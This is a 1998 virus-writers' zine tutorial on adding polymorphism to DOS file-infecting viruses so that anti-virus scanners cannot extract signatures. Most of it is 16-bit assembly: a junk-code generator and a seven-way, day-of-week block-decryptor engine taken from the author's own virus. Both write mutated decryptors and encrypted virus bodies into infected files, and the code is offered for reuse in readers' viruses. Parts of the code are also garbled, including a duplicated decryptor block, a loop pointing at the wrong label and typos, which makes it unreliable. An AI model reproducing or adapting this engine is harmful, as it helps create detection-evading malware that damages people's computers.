http://www.CodeBreakers-Journal.com

Introductory Primer To Polymorphism

Opic

Abstract

Much of the problem the new programmer has in learning polymorphism is the jargon associated with it, and so I have done my best in this article to define all the jargon I am using. Please understand that this is NOT a complete guide to polymorphism but is simply meant to be a primer to initiate new coders ideas on how to write self-modifying/replicating code.

As the title suggests this tutorial should be approached as a introduction to the ideas, concepts and techniques involved in the writing of a polymorphic virus. If you have a great deal of experience in writing polymorphic viruses/engines then you may not learn much from article. It is, rather, geared towards newer virus writers who have not yet implemented polymorphism into their viruses yet, but wish to. That being said lets first define what polymorphism is.

Polymorphism: "'having many or various forms, stages"' (VDAT 1.5)

By this definition polymorphic viruses are viruses that change forms. But there is a problem with this definition as it implies (even though it is "'technically"' true) that a virus which only partially changes form would be polymorphic; for example viruses the use XOR encryption with a randomly generated key (a long time "'de facto"' for virus writers) would be considered a polymorphic virus. And it is, in a sense, as a virus of this sort encrypts itself differently in each infection. The problem with this type of polymorphism is that it is utterly ineffective. But perhaps we should back peddle a bit and exonerate what we hope to gain from polymorphism, why it is effective and why "'minimal polymorphism"' such as the above example is ineffective.

Keywords: *Algorithms; Polymorphic Code; Virus Analysis*

I. The concept behind polymorphism

One of the main objective in writing a new virus is to make said virus undetectable by todays *anti-virus scanners*. However, sooner or later your virus will be discovered, whether it be from payload, faulty programming, or just dumb luck, it WILL be discovered, and a anti-virus programmer will try to find a scanstring (a small sample of code from your virus that would most likely not be found in any other program, thus making it easy and economical for their product to add many new scanstrings to each update). Once this became a regular practice of AVers virus writers searched for a method by which they could keep AV scanners from so easily detecting their viruses, perhaps even after a sample had been acquired, and so "'*true polymorphism*"' was born. The virus writer said to himself: "'What if I could write a virus that changed forms entirely? Identifying my virus would be much more difficult as one sample would differ greatly from the next and a scanstring is much more difficult to extract."' And the virus writer saw it was good, said it was good, and it was good. When the anti-virus community witnessed the dawn of the first few polymorphic viruses, they (I can almost guarantee) went damp, and felt dead in the water:

> *"'Long gone are the days of innocence, when any schoolboy could write a virus scanner using a few signatures extracted from captured virus samples."' -Tarkan Yetiser.*

So what is true polymorphism? True polymorphism would mean that every piece of your virus changes, yet still functions in the same manner (ie: replicates, infects only so many files, delivers payload ect.) which at first seems like a tremendously difficult task, BUT it is my intent to show you some livable roads to implementing at least minimal polymorphism (oligmorphism) into your virus. I will avoid complex polymorphism simply because at this point (if you are just beginning to write polymorphic code) it will only serve to confuse you, and once you begin to understand the concepts behind basic polymorphism you will begin to understand how to make your poly engines more complex. So what do we need to do to make our entire virus change forms? We already make the body of the virus change with encryption, so really all we need to do is vary the *encryption algorithm* and the *decryptor* to make our virus polymorphic. To illustrate this idea here is a small picture of the structure of an encrypted virus:

```
|------------------------
| JUMP TO VIRUS CODE    |
|-----------------------|
| HOST PROGRAM          |
|-----------------------|
| | <-------------------| This is the problem area which many
| DECRYPTOR             | scanstrings are derived from and which
| | <-------------------| we wish to vary.
|-----------------------|
| ENCRYPTED  <----------| We can alter the encrypted body by
| VIRUS                 | changing the encryption algorithm
| BODY                  | rather then keeping it a constant
|---------- <----------| (such as XOR, or any other crypting OP)
```

Now in the beginning stages of polymorphism it was sufficient to insert "'*junk code*"' in between real operations (such as the NOP operation, which is a one byte do nothing instruction). What the virus would do was generate a certain amount of junk code and place it at random points inside the viruses decryptor, and as a result the real operations would always be shifting around and would not be at a static address inside the virus body. Today this practice is almost completely useless as most any scanner will ignore "'junk code"' and only scan real functional code, however there are some aspects of this practice which may be considered worthwhile as it does have a few assets to it:

1) Analysis of the virus is more difficult as junk operations are mixed and cluttered among real ones.
2) The practice could be utilized to make a virus "'metamorphic"' (though it is probably not the best method). Metamorphic viruses are viruses that changes size making disinfection and removal a slight bit more difficult.

As this method is, for the most part, obsolete I have declined from giving you too much example code. But for the sake of thoroughness I will provide some. The main thing to keep in mind when writing junk code between real code is that you DO NOT want your junk code to alter what is occurring with your real code under any circumstances (ie: if your junk code alters a register that your virus is using your virus will inevitably crash). As I stated earlier todays scanners will use wildcards and ignore "'*junk operations*"' in order not to be fooled, so the only real use this may have is if you would like to utilize this as a metamorphosis (size changing). The simplest way of coding this is to take a "'random number"' from the system clock, and simply writing that many bytes to the end of the file; since this code will never be executed you can write literally whatever you want in place of the NOPs, however it is completely useless as far as protecting your virus from a scanner. Remember our goal is to randomize the addresses of the real instructions so our "'junk"' engine will create decryptors like:

```
|---------------| |---------------|
| JUNK CODE     | | DECRYPTOR     | Now if our goal is to use
|---------------| |---------------| this method in a
| DECRYPTOR     | | JUNK CODE     | metamorphic sense, then we
|---------------| |---------------| will need to vary the amount
| JUNK CODE     | | JUNK CODE     | of junk we use (easily done
|---------------| <---or--->
|---------------| by such methods as:
| JUNK CODE     | | JUNK CODE     | in al,40h ;rand # from clock
|---------------| |---------------| even a better method might
| DECRYPTOR     | | DECRYPTOR     | be to insert some nops into
| --------------| |---------------| the host program, so the AV
| JUNK CODE     | | JUNK CODE     | cannot simply find the start
|---------------| |---------------| of your virus and remove it
| JUNK CODE     | | JUNK CODE     | from that point down.
|---------------| |---------------|
```

II. JUNK OPERATIONS

I cannot stress the fact enough that you must be extremely careful not to use "'*junk code*"' that will effect the actual code, one way of creating junk code is using it in pairs (ie: do something to a register, and then undo it.) here is a small list of *junk operations* for your reference:

- NOP ;No Operation
- PUSH AX POP AX ;push ax onto the stack and then pop it back off
- XCHG BX,BX ;trade BX for BX (same as NOP literally in 8086)
- MOV AX,AX ;move ax register to AX register
- ROL AX,CL ROR AX,CL ;rotate register left then rotate right.
- INC CX DEC CX ;increase CX decrease CX

As you can see there are an infinite amount of possible junk code that will not affect your real code. The trick is to implement it correctly. Here is some example source I have written specifically for this tutorial, please keep in mind that it is not optimized, you *could* implement it in a virus of your own if you wish, however, you can surly after reading this tutorial write your own optimized smaller *junk poly generator*. I have left the source unoptimized so it is more obvious as to what is happening.

First lets look at the *decryptor* we want to poly:

```
decryptor: ;this is a standard decryptor
lea si,crypt_start ;it should look familiar
mov di,si ;I have choose to use an example without

dec1:
mov cx,end-crypt_start ;a delta offset due to size considerations
call encrypt ;this should look familiar

dec2:
jmp crypt_start ;if you dont know encryption go learn it
encrypt: ;before you attempt poly
lodsb ;

dec3:
not al ;we will use NOT encryption
stosb ;

dec4:
loop encrypt ;
ret

dec_end:
```

All right, a simple straight forward decryptor, the only different here is that I have added addresses (de1-de4). Now what we want to do is to write junk code between the real code in order to give the real code different addresses in our virus, making it more difficult to scan and analyze The time when we should implement our poly engine should be when we are writing the decryptor to the newly infected file. This example code is both polymorphic and metamorphic (will insert different junk of different sizes).This engine will generate a large amount of different decryptors as it will randomly pick the junk code to write, thus its number of possible mutations is only limited by the amount of junk code you provide it to use, and how often you write the junk code (ie: if you wrote junk between every ”‘real”’ operation instead of ever two you would see obviously get more *mutations*, also you could write more then one piece of junk code between the ”‘real”’ code, or even write a random amount of junk between each real operation, I have neglected to do this as I feel it is unnecessary for a tutorial engine):

```
.....................................................................
;the following code writes the decryptor
;and calls the poly engine between every 2 written instructions

mov ax,4202h ;move end of file
xor cx,cx ;
xor dx,dx ;clear registers
int 21h ;

mov ah,40h ;write to file
lea dx,decryptor ;1st section of decryptor
mov cx,dec1-decryptor ;the length
int 21h ;
call poly ;***POLY JUNK IS WRITTEN***

mov ax,4202h ;move end of file
xor cx,cx ;
xor dx,dx ;clear registers
int 21h ;

mov ah,40h ;write to file
lea dx,dec1 ;1st section of decryptor
mov cx,dec2-dec1 ;the length
int 21h ;
call poly ;***POLY JUNK IS WRITTEN***
```

```
mov ax,4202h ;move end of file
xor cx,cx ;xor dx,dx ;clear registers
int 21h ;

mov ah,40h ;write to file
lea dx,dec2 ;1st section of decryptor
mov cx,dec3-dec2 ;the length
int 21h ;
call poly ;***POLY JUNK IS WRITTEN***

mov ax,4202h ;move end of file
xor cx,cx ;
xor dx,dx ;clear registers
int 21h ;

mov ah,40h ;write to file
lea dx,dec3 ;1st section of decryptor
mov cx,dec4-dec3 ;the length
int 21h ;
call poly ;***POLY JUNK IS WRITTEN***

mov ax,4202h ;move end of file
xor cx,cx ;
xor dx,dx ;clear registers
int 21h ;

mov ah,40h ;write to file
lea dx,dec4 ;1st section of decryptor
mov cx,dec_end-dec4 ;the length
int 21h ;
call poly ;***POLY JUNK IS WRITTEN***

;at this point we have finished writing the poly/meta decryptor
;and we can move onto writing the encrpted virus body....

poly proc ;our poly procedure

counter db 0
mov byte ptr [counter],0 ;clear counter
in al,40h ;get rand # from clock (1-5)
mov byte ptr [counter],al ;put # in counter
cmp bytr ptr [counter],5 ;
ja poly ;if above 10 get a new #
cmp byte ptr [counter],1 ;
jb poly ;if below 1 get a new #

cmp byte ptr [counter],1 ;write differnt
je junk1 ;junk code
cmp byte ptr [counter],2 ;depending on what
je junk2 ;our random #
cmp byte ptr [counter],3 ;was
je junk3 ;
cmp byte ptr [counter],4 ;
je junk4 ;
cmp byte ptr [counter],5 ;
je junk5 ;

junk1: ;the junk1-5 rutines write the actual junk
mov ax,4202h ;move to end of file
xor cx,cx ;
xor dx,dx ;clear cx and dx
int 21h ;
mov ah,40h ;write to file
lea dx,jcode1 ;write jcode
mov cx,jcode2-jcode1 ;the length
int 21h ;
ret ;ret to call

junk2:
mov ax,4202h ;move to end of file
xor cx,cx ;
```

```
xor dx,dx ;clear cx and dx
int 21h ;
mov ah,40h ;write to file
lea dx,jcode2 ;write jcode
mov cx,jcode3-jcode2 ;the length
int 21h ;
ret ;ret to call

junk3:
mov ax,4202h ;move to end of file
xor cx,cx ;
xor dx,dx ;clear cx and dx
int 21h ;
mov ah,40h ;write to file
lea dx,jcode3 ;write jcode
mov cx,jcode4-jcode3 ;the length
int 21h ;
ret ;ret to call

junk4:
mov ax,4202h ;move to end of file
xor cx,cx ;
xor dx,dx ;clear cx and dx
int 21h ;
mov ah,40h ;write to file
lea dx,jcode4 ;write jcode
mov cx,jcode5-jcode4 ;the length
int 21h ;
ret ;ret to call

junk5:
mov ax,4202h ;move to end of file
xor cx,cx ;
xor dx,dx ;clear cx and dx
int 21h ;
mov ah,40h ;write to file
lea dx,jcode5 ;write jcode
mov cx,jcode_end-jcode5 ;the length
int 21h ;
ret ;ret to call

jcode1: ;Here is the actual
mov ax,ax ;junk code we are writing

jcode2: ;the instructions are
nop ;a differnt amount

jcode3: ;of bytes in some cases
push ax ;which would give the
pop ax ;virus a slight

jcode4: ;size variation (metamorphic)
xchg bx,bx ;this could be magnified

jcode5: ;by randomizing how many times
inc cx ;the engine is called to write
dec cx ;junk code.

jcode_end:
poly endp

counter db 0
```

Next we will move on to some simple (oligmorphic) methods of polymorphism. Since we have established that the easiest way to go about changing the entire virus is by simply changing the decryptor and encryption loop (which would inherently alter the encrypted body) we should now examine the most basic functional aspect of this concept: "'*Block decryptors*"'. In the above code I have demonstrated how to write blocks of junk code. In the same way we can write decryptors and encryption loops in blocks, so as we provided a stock of junk code in the above engine, we must also provide a stock of decryptors/encryption loops to write. Here is example code from an engine written for my Prospero virus (whose complete source can also be found in this issue of CodBrk4). Remember this engine is run when infecting a new file to determine which decryptor and *encryption loop* to use. Instead of using a "'random"' number from the clock to determine which block to write this engine writes a different decryptor and encrypts the virus differently every day of the week (that is to say there are 7 different decryptors and encryption loops, each is set to be used for each particular day of the week:

```
;---------write cryptor-------------------------------
next: ;
mov ax,4202h ;end of file
xor cx,cx ;clear
xor dx,dx ;em
int 21h ;now!

;---------POLY: cryptor-------------------------------
;pick random cryptor from stock of 7
poly: ;determine 2nd part of cryptor
mov ah,2ah ;get day of week
int 21h ;now

;------find which cryptor to write to infection-----------
or al,al ;is it.....sunday
jz d0 ;
cmp al,001h ;mon
je d1 ;
cmp al,002h ;tue
je d2 ;
cmp al,003h ;wed
jne td4 ;
Jmp d3 ;
td4: ;
cmp al,004h ;thur
jne td5 ;
Jmp d4 ;
td5: ;
cmp al,005h ;fri
jne td6 ;
Jmp d5 ;
td6: ;
Jmp d6 ;
;
;-------load the cryptor we need--------------------
d0: ;pick and write Zero cryptor
mov al,[bp+value] ;
mov [bp+value0],al ;
mov ah,40h ;
lea dx,[bp+del] ;
mov cx,del1 - del ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt ;
jmp write ;
d1: ;pick and write 1st cryptor
mov al,[bp+value] ;
mov [bp+value1],al ;
mov ah,40h ;
lea dx,[bp+del1] ;
mov cx,del2 - del1 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
```

```
call crypt1 ;
jmp write ;
d2: ;pick and write 2nd cryptor
mov al,[bp+value] ;
mov [bp+value2],al ;
mov ah,40h ;
lea dx,[bp+del2] ;
mov cx,del3 - del2 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt2 ;
jmp write ;
d3: ;pick and write 3rd cryptor
mov al,[bp+value] ;
mov [bp+value3],al ;
mov ah,40h ;
lea dx,[bp+del3] ;
mov cx,del4 - del3 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt3 ;
jmp write ;
d4: ;pick and write 4th cryptor
mov al,[bp+value] ;
mov [bp+value4],al ;
mov ah,40h ;
lea dx,[bp+del4] ;
mov cx,del5 - del4 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt4 ;
jmp write ;
nope: ;
jmp close ;
d5: ;pick and write 5th cryptor
mov al,[bp+value] ;
mov [bp+value5],al ;
mov ah,40h ;
lea dx,[bp+del5] ;
mov cx,del6 - del5 ;
int 21h ;
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt5 ;
jmp write ;
d6: ;
mov al,[bp+value] ;
mov [bp+value6],al ;
mov ah,40h ;
lea dx,[bp+del6] ;
mov cx,noc - del6 ;
int 21h
lea si,[bp+c_start] ;
lea di,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
call crypt6 ;

;-------write crypted area--------------------
write: ;
mov ah,40h ;write encrypted area
lea dx,[bp+virus_end] ;load
mov cx,virus_end - c_start ;move
int 21h ;now!

;The infection rutine ends here. now we would jump to the findnext rutine
```

```
;or if resident we are done.

;-----------our stock of cryptors------------
;
del: ;
db ':(' ;
cli ; 1
db 0E8h,0,0 ; 3
pop ax ; 1
sti ; 1
sub ax,offset delta+1 ; 3
xchg bp,ax ; 1 =10

lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt ;
Jmp Del1 ;
Value0 db 0 ;
crypt: ;
lodsb ;
Push CX ;
Nop ;
Mov CL,4 ;
rol al,CL ;
Nop ;
neg al ;
rol al,CL ;
Nop ;
Pop CX ;
stosb ;
Nop ;
loop crypt ;
ret ;21 !!!
Nop ;
Nop ;
;-----------------------------------------

del1: ;
db ':(' ;
db 0E8h,00,00 ;
sti ;
pop bp ;
xchg bx,ax ;
sub bp,offset delta ;

lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt1 ;
Jmp Del2 ;
Value1 db 0 ;
crypt1: ;
Nop ;
lodsb ;
Nop ;
neg al ;
Push CX ;
Mov CL,4 ;
ror al,CL ;
Pop CX ;
Nop ;
neg al ;
Nop ;
stosb ;
Nop ;
loop crypt1 ;
ret ;21 !!!
Nop ;
;-----------------------------------------
del2: ;
db ':(' ;
```

```
cld ;
db 0E8h,0,0 ;
pop bp ;
clc ;
sub bp,offset delta+1 ;
;
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt2 ;
Jmp Del3 ;
Value2 DB 0 ;
crypt2: ;
Nop ;
Nop ;
lodsb ;
not al ;
nop ;
xor al,byte ptr [bp+value] ;
nop ;
not al ;
nop ;
Nop ;
stosb ;
loop crypt2 ;
Nop ;
ret ;21 !!!
;---------------------------------------
del3: ;
db ':(' ;
sti ; 1
nop ; 1
db 0E8h,0,0 ; 3
pop bp ; 1
sub bp,offset delta+2 ; 4=10

lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt3 ;
Jmp Del4 ;
Value3 db 0 ;
crypt3: ;
lodsb ;
Push CX ;
Nop ;
Nop ;
Mov CL,4 ;
ror al,cl ;
not al ;
Nop ;
ror al,cl ;
Nop ;
Pop CX ;
stosb ;
loop crypt3 ;
Nop ;
ret ;21 !!!
Nop ;
;---------------------------------------
del4: ;
db ':(' ;
db 0E8h,0,0 ; 3
pop ax ; 1
xchg bx,ax ; 1
xchg bx,ax ; 1
sub ax,offset delta ; 3
xchg bp,ax ; 1

lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
```

```
call crypt4 ;
Jmp Del5 ;
Value4 db 0 ;
crypt4: ;
lodsb ;
Push CX ;
Mov CL,4 ;
xor al,byte ptr [bp+value] ;
rol al,cl ;
xor al,byte ptr [bp+value] ;
Pop CX ;
stosb ;
loop crypt4 ;
ret ;21 !!!
;--------------------------------------
del5: ;
db ':(' ;
db 0E8h,0,0 ; 3
nop ; 1
pop ax ; 1
nop ; 1
sub ax,offset delta ; 3
xchg bp,ax ; 1 ; = 10
;
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt5 ;
Jmp Del6 ;
Value5 db 0 ;
crypt5: ;
Nop ;
lodsb ;
not al ;
Push CX ;
Nop ;
Mov CL,4 ;
ror al,cl ;
Nop ;
Pop CX ;
Nop ;
not al ;
Nop ;
stosb ;
Nop ;
loop crypt5 ;
ret ;21 !!!
;--------------------------------------
del6: ;
db ':(' ;
sti ; 1
clc ; 1
db 0E8h,0,0 ; 3
pop ax ; 1
sub ax,offset delta +2 ; 3
xchg bp,ax ; 1=10
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt6 ;
Jmp Noc ;
Value6 db 0 ;
crypt6: ;
lodsb ;
Push CX ;
Mov CL,4 ;
ror al,CL ;
Nop ;
xor al,byte ptr [bp+value] ;
ror al,CL ;
Nop ;
Pop CX
```

```
Nop ;
not al ;
Nop ;
stosb ;
Nop ;
loop crypt5 ;
ret ;21 !!!
;-------------------------------------
del6: ;
db ':(' ;
sti ; 1
clc ; 1
db 0E8h,0,0 ; 3
pop ax ; 1
sub ax,offset delta +2 ; 3
xchg bp,ax ; 1=10
lea si,[bp+c_start] ;
mov di,si ;
mov cx,virus_end - c_start ;
call crypt6 ;
Jmp Noc ;
Value6 db 0 ;
crypt6: ;
lodsb ;
Push CX ;
Mov CL,4 ;
ror al,CL ;
Nop ;
xor al,byte ptr [bp+value] ;
ror al,CL ;
Nop ;
Pop CX ;
stosb ;
Nop ;
loop crypt6 ;
ret ;
noc: ;21 !!!
;-------------------------------------
```

Again to view this poly engine in context, see my Prospero virus in the source code section. Now that you have seen the main concepts of polymorphism in a clean and isolated state. Much of the problem with learning poly is that it is very hard to find simple engines from which to learn (and which have "'reader-friendly"' code). With these techniques (writing random junk code and writing block decryptors) you can easily merge the two, writing random junk code in between all your different *blocks of decryptor* you can create an almost infinite number of mutations in your virus. Other ideas worthy of consideration could be writing an engine that creates a different encryption loop for each new infection (by having a stock of crypting operations ie: NOT, NEG, ROR/ROL, ect.). Hopfully this tutorial will have helped to guide you in your first steps in the exciting practice of *self-modifying code*.

Opic [CodeBreakers 1998][1]
opic@thepentagon.com

[1]This is NOT the Codebreakers-Journal (CBJ)!